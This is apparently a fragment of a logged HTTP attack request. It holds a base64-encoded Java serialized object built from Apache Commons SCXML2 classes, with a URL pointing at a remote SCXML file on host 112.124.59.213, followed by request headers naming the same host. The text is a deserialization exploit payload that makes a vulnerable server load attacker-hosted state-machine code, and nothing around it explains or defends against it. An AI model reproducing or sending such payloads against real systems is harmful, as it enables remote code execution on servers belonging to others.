hcGFjaGUvY29tbW9ucy9zY3htbDIvU3RhdHVzO0wADWVycm9yUmVwb3J0ZXJ0AClMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9FcnJvclJlcG9ydGVyO0wAD2V2ZW50ZGlzcGF0Y2hlcnQAK0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2ZW50RGlzcGF0Y2hlcjtMAANsb2d0ACBMb3JnL2FwYWNoZS9jb21tb25zL2xvZ2dpbmcvTG9nO0wACnNjSW5zdGFuY2VxAH4AFEwACXNlbWFudGljc3QAKkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MU2VtYW50aWNzO0wADHN0YXRlTWFjaGluZXQAJ0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL21vZGVsL1NDWE1MO3hwAXNyACBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlN0YXR1cwAAAAAAAAABAgACTAAGZXZlbnRzdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO0wABnN0YXRlc3QAD0xqYXZhL3V0aWwvU2V0O3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3IAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAAAeHBwc3IAK29yZy5hcGFjaGUuY29tbW9ucy5sb2dnaW5nLmltcGwuSmRrMTRMb2dnZXJCZref4CqgvAIAAUwABG5hbWVxAH4AEHhwdAAnb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ1hNTEV4ZWN1dG9yc3EAfgAWc3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgA4eHNxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AOnhzcQB+ACIAAHEAfgArc3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgA9eHBzcQB+ABtzcQB+AB4/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AD94c3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBBeHNyAC5vcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLk5vdGlmaWNhdGlvblJlZ2lzdHJ5AAAAAAAAAAECAAFMAARyZWdzcQB+AA94cHNxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARXhwc3IANm9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuc2VtYW50aWNzLlNDWE1MU2VtYW50aWNzSW1wbAAAAAAAAAABAgACTAAGYXBwTG9ncQB+AChMABB0YXJnZXRDb21wYXJhdG9ydABATG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvc2VtYW50aWNzL1RyYW5zaXRpb25UYXJnZXRDb21wYXJhdG9yO3hwc3EAfgA0dAAob3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ1hNTFNlbWFudGljc3NyAD5vcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcgAAAAAAAAABAgAAeHBwc3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBOeHBzcQB+ABtzcQB+AB4/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AFB4c3EAfgAbc3EAfgAeP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBSeHNxAH4AQ3NxAH4AG3NxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AVXhwcHNxAH4AHj9AAAAAAAAAdwgAAAAQAAAAAHh0AB9odHRwOi8vMTEyLjEyNC41OS4yMTMvc2N4bTIueG1scHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg= HTTP/1.1 Content-Type : application/x-www-form-urlencodedHost : 112.124.59.213:8000